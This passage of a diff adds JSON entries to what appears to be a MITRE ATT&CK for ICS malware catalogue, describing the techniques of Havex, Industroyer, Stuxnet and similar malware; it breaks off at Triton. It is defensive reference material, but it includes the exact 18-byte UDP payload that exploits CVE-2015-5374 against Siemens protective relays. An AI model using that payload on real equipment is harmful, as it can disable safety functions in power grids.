https://collaborate.mitre.org/attackics/index.php/Technique/T850", + "Control Device Identification - The Backdoor.Oldrea payload has the capability of enumerating OPC tags, in addition to more generic OPC server information. The server data and tag names can provide information about the names and function of control devices https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "Remote System Discovery - The Backdoor.Oldrea ICS malware plugin relies on Windows networking (WNet) to discover all the servers, including OPC servers, that are reachable by the compromised machine over the network https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Location Identification - The Backdoor.Oldrea payload has the capability of enumerating OPC tags, in addition to more generic OPC server information. The tag names, depending on the naming convention, can provide information about facilities and locations https://collaborate.mitre.org/attackics/index.php/Technique/T825", + "Denial of Service - The Backdoor.Oldrea payload has caused multiple common OPC platforms to intermittently crash. This could cause a denial of service effect on applications reliant on OPC communications https://collaborate.mitre.org/attackics/index.php/Technique/T814", + "Supply Chain Compromise - The Backdoor.Oldrea RAT is distributed through trojanized installers planted on compromised vendor sites https://collaborate.mitre.org/attackics/index.php/Technique/T862", + "Spearphishing Attachment - The Backdoor.Oldrea RAT is distributed through a trojanized installer attached to emails https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Automated Collection - Using OPC, a component of Backdoor.Oldrea gathers any details about connected devices and sends them back to the C2 for the attackers to analyze https://collaborate.mitre.org/attackics/index.php/Technique/T802", + "User Execution - Execution of Backdoor.Oldrea relies on a user opening a trojanized installer attached to an email https://collaborate.mitre.org/attackics/index.php/Technique/T863", + "Point & Tag Identification - Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id Point & Tag Identification - Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id https://collaborate.mitre.org/attackics/index.php/Technique/T861" + ], + "refs": [ + "https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01", + "https://ics-cert.us-cert.gov/alerts/ICS-ALERT-14-176-02A", + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://pdfs.semanticscholar.org/18df/43ef1690b0fae15a36f770001160aefbc6c5.pdf", + "https://www.fireeye.com/blog/threat-research/2014/07/havex-its-down-with-opc.html", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat", + "https://www.youtube.com/watch?v=eywmb7UDODY&feature=youtu.be&t=939", + "https://www.sans.org/reading-room/whitepapers/ICS/impact-dragonfly-malware-industrial-control-systems-36672" + ] + }, + "uuid": "1a2b786f-6ed2-47f6-969c-8d9c62fb8f22", + "value": "Backdoor.Oldrea, Havex" + }, + { + "description": "Bad Rabbit is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine.", + "meta": { + "Associated Software Descriptions": [ + "Bad Rabbit", + "Diskcoder.D" + ], + "Techniques Used": [ + "Drive-by Compromise - Bad Rabbit ransomware spreads through drive-by attacks where insecure websites are compromised. While the target is visiting a legitimate website, a malware dropper is being downloaded from the threat actor’s infrastructure https://collaborate.mitre.org/attackics/index.php/Technique/T817", + "User Execution - Bad Rabbit is disguised as an Adobe Flash installer. When the file is opened it starts locking the infected computer https://collaborate.mitre.org/attackics/index.php/Technique/T863", + "Loss of Productivity and Revenue - Several transportation organizations in Ukraine have suffered from being infected by Bad Rabbit, resulting in some computers becoming encrypted, according to media reports https://collaborate.mitre.org/attackics/index.php/Technique/T828", + "Exploitation of Remote Services - Bad Rabbit initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks https://collaborate.mitre.org/attackics/index.php/Technique/T866", + "External Remote Services - Bad Rabbit can utilize exposed SMB services to access industrial networks https://collaborate.mitre.org/attackics/index.php/Technique/T822", + "Remote File Copy - Bad Rabbit can move laterally through industrial networks by means of the SMB service https://collaborate.mitre.org/attackics/index.php/Technique/T867" + ], + "refs": [ + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", + "https://securelist.com/bad-rabbit-ransomware/82851/", + "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/" + ] + }, + "uuid": "625cba2e-43ba-4abd-81e9-6fa78c442e6f", + "value": "Bad Rabbit, Diskcoder.D" + }, + { + "description": "BlackEnergy 3 is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid.", + "meta": { + "Associated Software Descriptions": [ + "BlackEnergy 3" + ], + "Techniques Used": [ + "Valid Accounts - BlackEnergy utilizes valid user and administrator credentials, in addition to creating new administrator accounts to maintain presence https://collaborate.mitre.org/attackics/index.php/Technique/T859", + "Standard Application Layer Protocol - BlackEnergy uses HTTP POST request to contact external command and control servers https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "Spearphishing Attachment - BlackEnergy targeted energy sector organizations in a wide reaching email spearphishing campaign. Adversaries utilized malicious Microsoft Word documents attachments https://collaborate.mitre.org/attackics/index.php/Technique/T865" + ], + "refs": [ + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf" + ] + }, + "uuid": "5ce0966c-0e03-4df7-8678-7d10781c0006", + "value": "BlackEnergy 3" + }, + { + "description": "Conficker is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant.", + "meta": { + "Associated Software Descriptions": [ + "Conficker", + "Downadup", + "Kido" + ], + "Techniques Used": [ + "Loss of Availability - A Conficker infection at a nuclear power plant forced the facility to temporarily shutdown https://collaborate.mitre.org/attackics/index.php/Technique/T826", + "Replication Through Removable Media - Conficker exploits Windows drive shares. Once it has infected a computer, Conficker automatically copies itself to all visible open drive shares on other computers inside the network.2 Nuclear power plant officials suspect someone brought in Conficker by accident on a USB thumb drive, either from home or computers found in the power plant's facility https://collaborate.mitre.org/attackics/index.php/Technique/T847", + "Loss of Productivity and Revenue - A Conficker infection at a nuclear power plant forced the facility to shutdown and go through security procedures involved with such events, with its staff scanning computer systems and going through all the regular checks and motions before putting the plant back into production https://collaborate.mitre.org/attackics/index.php/Technique/T828" + ], + "refs": [ + "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml" + ] + }, + "uuid": "88b08418-dbcc-457b-b28a-9deeeac26745", + "value": "Conficker" + }, + { + "description": "Duqu is a collection of computer malware discovered in 2011. It is reportedly related to the Stuxnet worm, although Duqu is not self-replicating.", + "meta": { + "Associated Software Descriptions": [ + "Duqu" + ], + "Techniques Used": [ + "Theft of Operational Information - Duqu’s purpose is to gather intelligence data and assets from entities such as industrial infrastructure and system manufacturers, amongst others not in the industrial sector, in order to more easily conduct a future attack against another third party https://collaborate.mitre.org/attackics/index.php/Technique/T882", + "Data from Information Repositories - Duqu downloads additional modules for the collection of data in information repositories. The modules are named: infostealer 1, infostealer 2 and reconnaissance https://collaborate.mitre.org/attackics/index.php/Technique/T811" + ], + "refs": [ + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + ] + }, + "uuid": "7bc3d4cd-786f-4913-983f-0d1fa9eb132f", + "value": "Duqu" + }, + { + "description": "Flame is an attacker-instructed worm which may open a backdoor and steal information from a compromised computer. Flame has the capability to be used for industrial espionage.", + "meta": { + "Associated Software Descriptions": [ + "Flame", + "Flamer", + "sKyWIper" + ], + "Techniques Used": [ + "Theft of Operational Information - Flame can collect AutoCAD design data and visio diagrams as well as other documents that may contain operational information https://collaborate.mitre.org/attackics/index.php/Technique/T882", + "Data from Information Repositories - Flame has built-in modules to gather information from compromised computers https://collaborate.mitre.org/attackics/index.php/Technique/T811" + ], + "refs": [ + "https://www.symantec.com/security-center/writeup/2012-052811-0308-99", + "https://www.welivesecurity.com/2012/07/20/flame-in-depth-code-analysis-of-mssecmgr-ocx/", + "https://www.fireeye.com/blog/threat-research/2012/05/flamerskywiper-analysis.html" + ] + }, + "uuid": "ed2618d4-0450-4466-92c4-61b89a46960e", + "value": "Flame" + }, + { + "description": "Industroyer is a sophisticated piece of malware designed to cause an Impact to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations.1 Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.", + "meta": { + "Associated Software Descriptions": [ + "Industroyer", + "CRASHOVERRIDE" + ], + "Groups": [ + "Sandworm" + ], + "Techniques Used": [ + "Data Historian Compromise - In Industroyer, after pivoting into the ICS environment, the adversary gained Initial Access to devices involved with critical process operations through a Microsoft Windows Server 2003 running a SQL Server https://collaborate.mitre.org/attackics/index.php/Technique/T810", + "Block Command Message - In Industroyer the first COM port from the configuration file is used for the actual communication and the two other COM ports are just opened to prevent other processes accessing them. Thus, the IEC 101 payload component is able to take over and maintain control of the RTU device https://collaborate.mitre.org/attackics/index.php/Technique/T803", + "Block Serial COM - In Industroyer the first COM port from the configuration file is used for the actual communication and the two other COM ports are just opened to prevent other processes accessing them. Thus, the IEC 101 payload component is able to take over and maintain control of the RTU device https://collaborate.mitre.org/attackics/index.php/Technique/T805", + "Data Destruction - Industroyer has a destructive wiper that overwrites all ICS configuration files across the hard drives and all mapped network drives specifically targeting ABB PCM600 configuration files https://collaborate.mitre.org/attackics/index.php/Technique/T809", + "Masquerading - Industroyer modules operate by inhibiting the normal SCADA master communication functions and then activate a replacement master communication module managed by the malware, which executes a script of commands to issue normal protocol messages https://collaborate.mitre.org/attackics/index.php/Technique/T849", + "Network Connection Enumeration - Industroyer contains an IEC 61850 module that enumerates all connected network adapters to determine their TCP/IP subnet masks https://collaborate.mitre.org/attackics/index.php/Technique/T840", + "Remote System Discovery - The Industroyer IEC 61850 payload enumerates all possible IP addresses for each of the subnet masks for the interfaces on the infected machine, and tries to connect to port 102 on each of those addresses. Therefore, this component has the ability to discover relevant devices in the network automatically https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Control Device Identification - Industroyer contains an OPC DA module that enumerates all OPC servers using the ICatInformation::EnumClassesOfCategories method with CATID_OPCDAServer20 category identifier and IOPCServer::GetStatus to identify the ones running. The OPC DA module also uses IOPCBrowseServerAddressSpace to look for items with the following strings: ctlSelOn, ctlOperOn, ctlSelOff, ctlOperOff, Pos and stVal https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "Serial Connection Enumeration - Industroyer contains modules for IEC 101 and IEC 104 communications.1 IEC 101 uses serial for the physical connection and IEC 104 uses Ethernet. Analysis of the malware by Dragos states that both of the modules have equivalent functionality.2 The IEC 104 module uses Network Connection Enumeration to determine the Ethernet adapters on the device. Since functionality between the two modules are equivalent, this implies that the IEC 101 module is able to detect serial interfaces on the device https://collaborate.mitre.org/attackics/index.php/Technique/T854", + "Control Device Identification - If the target device responds appropriately, the Industroyer IEC 61850 payload then sends an InitiateRequest packet using the Manufacturing Message Specification (MMS). If the expected answer is received, it continues, sending an MMS getNameList request. Thereby, the component compiles a list of object names in a Virtual Manufacturing Device https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "Role Identification - The Industroyer IEC 61850 component enumerates the objects discovered in the previous step and sends the domain-specific getNameList requests with each object name. This enumerates named variables in a specific domain https://collaborate.mitre.org/attackics/index.php/Technique/T850", + "Activate Firmware Update Mode - The Industroyer SIPROTEC DoS module exploits the CVE-2015-5374 vulnerability in order to render a Siemens SIPROTEC device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually.1 Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains the following 18 byte payload: 0x11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E https://collaborate.mitre.org/attackics/index.php/Technique/T800", + "Unauthorized Command Message - The Industroyer IEC 101 module has the capability to communicate with devices (likely RTUs) via the IEC 101 protocol. The module will attempt to find all Information Object Addresses (IOAs) for the device and attempt to change their state in the following sequence: OFF, ON, OFF https://collaborate.mitre.org/attackics/index.php/Technique/T855", + "Brute Force I/O - The Industroyer IEC 104 module has 3 modes available to perform its attack. These modes are range, shift, and sequence. The range mode operates in 2 stages. The first stage of range mode gathers Information Object Addresses (IOA) and sends select and execute packets to switch the state. The second stage of range mode has an infinite loop where it will switch the state of all of the previously discovered IOAs. Shift mode is similar to range mode, but instead of staying within the same range, it will add a shift value to the default range values https://collaborate.mitre.org/attackics/index.php/Technique/T806", + "Device Restart/Shutdown - The Industroyer SIPROTEC DoS module exploits the CVE-2015-5374 vulnerability in order to render a Siemens SIPROTEC device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually.1 Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains the following 18 byte payload: 0x11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E https://collaborate.mitre.org/attackics/index.php/Technique/T816", + "Denial of Service - The Industroyer SIPROTEC DoS module exploits the CVE-2015-5374 vulnerability in order to render a Siemens SIPROTEC device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually.1 Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains the following 18 byte payload: 0x11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E https://collaborate.mitre.org/attackics/index.php/Technique/T814", + "Activate Firmware Update Mode - The Industroyer SPIROTEC DoS module places the victim device into firmware update mode. This is a legitimate use case under normal circumstances, but in this case is used the adversary to prevent the SPIROTEC from performing its designed protective functions. As a result the normal safeguards are disabled, leaving an unprotected link in the electric transmission https://collaborate.mitre.org/attackics/index.php/Technique/T800", + "Automated Collection - Industroyer automatically collects protocol object data to learn about control devices in the environment https://collaborate.mitre.org/attackics/index.php/Technique/T802", + "Loss of Control - Industroyer's data wiper component removes the registry image path throughout the system and overwrites all files, rendering the system unusable https://collaborate.mitre.org/attackics/index.php/Technique/T827", + "Loss of View - Industroyer's data wiper component removes the registry image path throughout the system and overwrites all files, rendering the system unusable https://collaborate.mitre.org/attackics/index.php/Technique/T829", + "Manipulation of Control - Industroyer toggles breakers to the open state utilizing unauthorized command messages https://collaborate.mitre.org/attackics/index.php/Technique/T831", + "Service Stop - Industroyer has the capability to stop a service itself, or to login as a user and stop a service as that user https://collaborate.mitre.org/attackics/index.php/Technique/T881", + "Block Reporting Message - Industroyer uses the first COM port from the configuration file for the communication and the other two COM ports are opened to prevent other processes accessing them. This may block processes or operators from getting reporting messages from a device. https://collaborate.mitre.org/attackics/index.php/Technique/T804", + "Denial of Control - Industroyer is able to block serial COM channels temporarily causing a denial of control https://collaborate.mitre.org/attackics/index.php/Technique/T813", + "Denial of View - Industroyer is able to block serial COM channels temporarily causing a denial of view https://collaborate.mitre.org/attackics/index.php/Technique/T815", + "Command-Line Interface - The name of the Industroyer payload DLL is supplied by the attackers via a command line parameter supplied in one of the main backdoor’s “execute a shell command” commands https://collaborate.mitre.org/attackics/index.php/Technique/T807", + "Manipulation of View - Industroyer's OPC module can brute force values and will send out a 0x01 status which for the target systems equates to a “Primary Variable Out of Limits” misdirecting operators from understanding protective relay status https://collaborate.mitre.org/attackics/index.php/Technique/T832", + "Loss of Safety - Industroyer contained a module which leveraged a vulnerability in the Siemens SIPROTEC relays (CVE-2015-5374) to create a Denial of Service against automated protective relays https://collaborate.mitre.org/attackics/index.php/Technique/T880" + ], + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-163A", + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf" + ] + }, + "uuid": "d13b0ff8-9125-4990-8ec1-94782b4e22df", + "value": "Industroyer" + }, + { + "description": "In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk's main functionality is to overwrite files with random data, rendering the OS unbootable.", + "meta": { + "Associated Software Descriptions": [ + "KillDisk" + ], + "Techniques Used": [ + "Loss of View - KillDisk erases the master boot record (MBR) and system logs, leaving the system unusable https://collaborate.mitre.org/attackics/index.php/Technique/T829", + "Data Destruction - KillDisk is able to delete system files to make the system unbootable and targets 35 different types of files for deletion https://collaborate.mitre.org/attackics/index.php/Technique/T809", + "Indicator Removal on Host - KillDisk deletes application, security, setup, and system event logs from Windows systems https://collaborate.mitre.org/attackics/index.php/Technique/T872", + "Service Stop - KillDisk looks for and terminates two non-standard processes, one of which is an ICS application https://collaborate.mitre.org/attackics/index.php/Technique/T881" + ], + "refs": [ + "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/", + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf" + ] + }, + "uuid": "df960d5e-481a-47fe-8577-427057553a1b", + "value": "KillDisk" + }, + { + "description": "LockerGoga is ransomware that has been tied to various attacks on industrial and manufacturing firms with apparently catastrophic consequences.", + "meta": { + "Associated Software Descriptions": [ + "LockerGoga" + ], + "Techniques Used": [ + "Loss of Productivity and Revenue - While Norsk Hydro attempted to recover from a LockerGoga infection, most of its 160 manufacturing locations switched to manual (non-IT driven) operations. Manual operations can result in a loss of productivity https://collaborate.mitre.org/attackics/index.php/Technique/T828", + "Loss of View - Some of Norsk Hydro's production systems were impacted by a LockerGoga infection. This resulted in a loss of view which forced the company to switch to manual operations https://collaborate.mitre.org/attackics/index.php/Technique/T829", + "Loss of Control - Some of Norsk Hydro's production systems were impacted by a LockerGoga infection. This resulted in a loss of control which forced the company to switch to manual operations https://collaborate.mitre.org/attackics/index.php/Technique/T827" + ], + "refs": [ + "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/", + "https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880", + "https://www.hydro.com/en/media/on-the-agenda/cyber-attack/" + ] + }, + "uuid": "6187b975-7d80-4eb3-9c5a-89d07f2e3512", + "value": "LockerGoga" + }, + { + "description": "NotPetya is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though NotPetya presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.", + "meta": { + "Associated Software Descriptions": [ + "NotPetya" + ], + "Groups": [ + "Sandworm" + ], + "Techniques Used": [ + "Exploitation of Remote Services - NotPetya initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks https://collaborate.mitre.org/attackics/index.php/Technique/T866", + "External Remote Services - NotPetya can utilize exposed SMB services to access industrial networks https://collaborate.mitre.org/attackics/index.php/Technique/T822", + "Remote File Copy - NotPetya can move laterally through industrial networks by means of the SMB service https://collaborate.mitre.org/attackics/index.php/Technique/T867", + "Loss of Productivity and Revenue - NotPetya disrupted manufacturing facilities supplying vaccines, resulting in a halt of production and the inability to meet demand for specific vaccines https://collaborate.mitre.org/attackics/index.php/Technique/T828" + ], + "refs": [ + "https://attack.mitre.org/software/S0368/", + "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/", + "https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war" + ] + }, + "uuid": "564c7c31-234f-4427-aab7-80d40183a1e9", + "value": "NotPetya" + }, + { + "description": "PLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.", + "meta": { + "Associated Software Descriptions": [ + "PLC-Blaster" + ], + "Techniques Used": [ + "Remote System Discovery - PLC-Blaster scans the network to find other Siemens S7 PLC devices to infect. It locates these devices by checking for a service listening on TCP port 102 https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Control Device Identification - The PLC-Blaster worm starts by scanning for probable targets. Siemens SIMATIC PLCs may be identified by the port 102/tcp https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "Program Organization Units - PLC-Blaster copies itself to various Program Organization Units (POU) on the target device. The POUs include the Organization Block, Data Block, Function, and Function Block https://collaborate.mitre.org/attackics/index.php/Technique/T844", + "Manipulate I/O Image - PLC-Blaster may manipulate any outputs of the PLC. Using the POU POKE any value within the process image may be modified https://collaborate.mitre.org/attackics/index.php/Technique/T835", + "Execution through API - PLC-Blaster utilizes the PLC communication and management API to load executable Program Organization Units https://collaborate.mitre.org/attackics/index.php/Technique/T871", + "Change Program State - After PLC-Blaster is transferred to a PLC, the PLC begins execution of PLC-Blaster https://collaborate.mitre.org/attackics/index.php/Technique/T875", + "Denial of Service - The execution on the PLC can be stopped by violating the cycle time limit. The PLC-Blaster implements an endless loop triggering an error condition within the PLC with the impact of a DoS https://collaborate.mitre.org/attackics/index.php/Technique/T814" + ], + "refs": [ + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf" + ] + }, + "uuid": "f0db07ce-a13b-4c6e-9ba5-fe2be3080ace", + "value": "PLC-Blaster" + }, + { + "description": "Ryuk is ransomware that was first seen targeting large organizations for high-value ransoms in August of 2018. Ryuk temporarily disrupted operations at a manufacturing firm in 2018.", + "meta": { + "Associated Software Descriptions": [ + "Ryuk" + ], + "Techniques Used": [ + "Loss of Productivity and Revenue - An enterprise resource planning (ERP) manufacturing server was lost to the Ryuk attack. The manufacturing process had to rely on paper and existing orders to keep the shop floor open https://collaborate.mitre.org/attackics/index.php/Technique/T828" + ], + "refs": [ + "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760" + ] + }, + "uuid": "707075af-cabd-404d-8eb9-7c1ba063ac88", + "value": "Ryuk" + }, + { + "description": "Stuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.", + "meta": { + "Associated Software Descriptions": [ + "Stuxnet" + ], + "Techniques Used": [ + "Remote System Discovery - Stuxnet scanned the network to identify the Siemens PLCs that it was targeting https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Rootkit - One of Stuxnet's rootkits is contained entirely in the fake s7otbxdx.dll. In order to continue existing undetected on the PLC it needs to account for at least the following situations: read requests for its own malicious code blocks, read requests for infected blocks (OB1, OB35, DP_RECV), and write requests that could overwrite Stuxnet’s own code. Stuxnet contains code to monitor and intercept these types of requests. The rootkit modifies these requests so that Stuxnet’s PLC code is not discovered or damaged https://collaborate.mitre.org/attackics/index.php/Technique/T851", + "Manipulate I/O Image - When the peripheral output is written to, sequence C intercepts the output and ensures it is not written to the process image output. The output is the instructions the PLC sends to a device to change its operating behavior. By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent to the peripheral https://collaborate.mitre.org/attackics/index.php/Technique/T835", + "Control Device Identification - The Siemens s7otbxdx.dll is responsible for handling PLC block exchange between the programming device (i.e., a computer running a Simatic manager on Windows) and the PLC. s7db_open function is an export hook that is used to obtain information used to create handles to manage a PLC (such a handle is used by APIs that manipulate the PLC). Stuxnet utilized this export hook to gain information about targeted PLCs such as model information. Stuxnet was specifically targeting CPUs 6ES7-315-2 (Series 300) with special system data block characteristics for sequence A or B and 6ES7-315-2 for sequence C. The PLC type can also be checked using the s7ag_read_szl API https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "I/O Module Discovery - Stuxnet enumerates and parses the System Data Blocks (SDB). Stuxnet must find an SDB with the DWORD at offset 50h equal to 0100CB2Ch. This specifies that the system uses the Profibus communications processor module CP 342-5. In addition, specific values are searched for and counted: 7050h and 9500h. 7050h is assigned to part number KFC750V3 which appears to be a frequency converter drive (also known as variable frequency drive) manufactured by Fararo Paya in Teheran, Iran. 9500h is assigned to Vacon NX frequency converter drives manufactured by Vacon based in Finland https://collaborate.mitre.org/attackics/index.php/Technique/T824", + "Network Sniffing - DP_RECV is the name of a standard function block used by network coprocessors. It is used to receive network frames on the Profibus – a standard industrial network bus used for distributed I/O. The original block is copied to FC1869, and then replaced by a malicious block. Each time the function is used to receive a packet, the malicious Stuxnet block takes control: it will call the original DP_RECV in FC1869 and then perform postprocessing on the packet data. This secondary thread is used to monitor a data block DB890 of sequence A or B. Though constantly running and probing this block (every 5 minutes), this thread has no purpose if the PLC is not infected. The purpose of the thread is to monitor each S7-315 on the bus. The replaced DP_RECV block (later on referred to as the “DP_RECV monitor”) is meant to monitor data sent by the frequency converter drives to the 315-2 CPU via CP 342-5 Profibus communication modules https://collaborate.mitre.org/attackics/index.php/Technique/T842", + "Monitor Process State - Stuxnet examines fields recorded by the DP_RECV monitor to determine if the target system is in a particular state of operation https://collaborate.mitre.org/attackics/index.php/Technique/T801", + "Modify Parameter - In states 3 and 4 Stuxnet sends two network bursts (done through the DP_SEND primitive). The data in the frames are instructions for the frequency converter drives. For example one of the frames contains records that change the maximum frequency (the speed at which the motor will operate). The frequency converter drives consist of parameters, which can be remotely configured via Profibus. One can write new values to these parameters changing the behavior of the device https://collaborate.mitre.org/attackics/index.php/Technique/T836", + "Manipulation of Control - Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property https://collaborate.mitre.org/attackics/index.php/Technique/T831", + "Program Download - Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior https://collaborate.mitre.org/attackics/index.php/Technique/T843", + "Program Organization Units - Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior https://collaborate.mitre.org/attackics/index.php/Technique/T844", + "Project File Infection - Stuxnet copies itself into Step 7 projects in such a way that it automatically executes when the Step 7 project is loaded https://collaborate.mitre.org/attackics/index.php/Technique/T873", + "Hooking - Stuxnet modifies the Import Address Tables DLLs to hook specific APIs that are used to open project files https://collaborate.mitre.org/attackics/index.php/Technique/T874", + "Unauthorized Command Message - In states 3 and 4 Stuxnet sends two network bursts (done through the DP_SEND primitive). The data in the frames are instructions for the frequency converter drives https://collaborate.mitre.org/attackics/index.php/Technique/T855", + "Change Program State - Stuxnet halts the original PLC code and the malicious PLC code begins sending frames of data based on the recorded values during the DP_RECV monitor phase https://collaborate.mitre.org/attackics/index.php/Technique/T875", + "I/O Image - Stuxnet copies the input area of an I/O image into data blocks with a one second interval between copies, forming a 21 second recording of the input area. The input area contains information being passed to the PLC from a peripheral. For example, the current state of a valve or the temperature of a device https://collaborate.mitre.org/attackics/index.php/Technique/T877", + "Rootkit - When the peripheral output is written to, sequence C of Stuxnet intercepts the output and ensures it is not written to the process image output. The output is the instructions the PLC sends to a device to change its operating behavior. By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent to the peripheral https://collaborate.mitre.org/attackics/index.php/Technique/T851", + "Masquerading - Stuxnet renames a dll responsible for handling communications with a PLC. It replaces the original .dll file with its own version that allows it to intercept any calls that are made to access the PLC https://collaborate.mitre.org/attackics/index.php/Technique/T849", + "Execution through API - Stuxnet utilizes the PLC communication and management API to load executable Program Organization Units https://collaborate.mitre.org/attackics/index.php/Technique/T871", + "Standard Application Layer Protocol - Stuxnet attempts to contact command and control servers over HTTP to send basic information about the computer it has compromised https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "Commonly Used Port - Stuxnet attempts to contact command and control servers on port 80 to send basic information about the computer it has compromised https://collaborate.mitre.org/attackics/index.php/Technique/T885", + "Replication Through Removable Media - Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment.1 The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened https://collaborate.mitre.org/attackics/index.php/Technique/T847", + "Man in the Middle - Stuxnet de-couples all inputs and signals from the legitimate code on a PLC and chooses what is passed to the original code. STUXNET effectively creates a man in the middle attack with the input and output signals and control logic https://collaborate.mitre.org/attackics/index.php/Technique/T830", + "Program Upload - Stuxnet replaces the DLL responsible for reading projects from a PLC to the step7 software. This allows Stuxnet the ability to upload a program from the PLC https://collaborate.mitre.org/attackics/index.php/Technique/T845", + "Manipulation of View - Stuxnet manipulates the view of operators replaying process input and manipulating the I/O image to evade detection and inhibit protection functions https://collaborate.mitre.org/attackics/index.php/Technique/T832", + "Engineering Workstation Compromise - Stuxnet utilized an engineering workstation as the initial access point for PLC devices https://collaborate.mitre.org/attackics/index.php/Technique/T818", + "Damage to Property - Stuxnet attacks were designed to over-pressure and damage centrifuge rotors by manipulating process pressure and rotor speeds over time. One focused on a routine to change centrifuge rotor speeds, while the other manipulated critical resonance speeds to over-pressure them https://collaborate.mitre.org/attackics/index.php/Technique/T879" + ], + "refs": [ + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.symantec.com/security-center/writeup/2010-071400-3123-99", + "https://www.us-cert.gov/ics/advisories/ICSA-10-238-01B", + "https://scadahacker.com/resources/stuxnet-mitigation.html", + "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf" + ] + }, + "uuid": "119f4adc-b15c-48e0-8208-dae63673bb46", + "value": "Stuxnet" + }, + { + "description": "Triton is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers", + "meta": { + "Associated Software 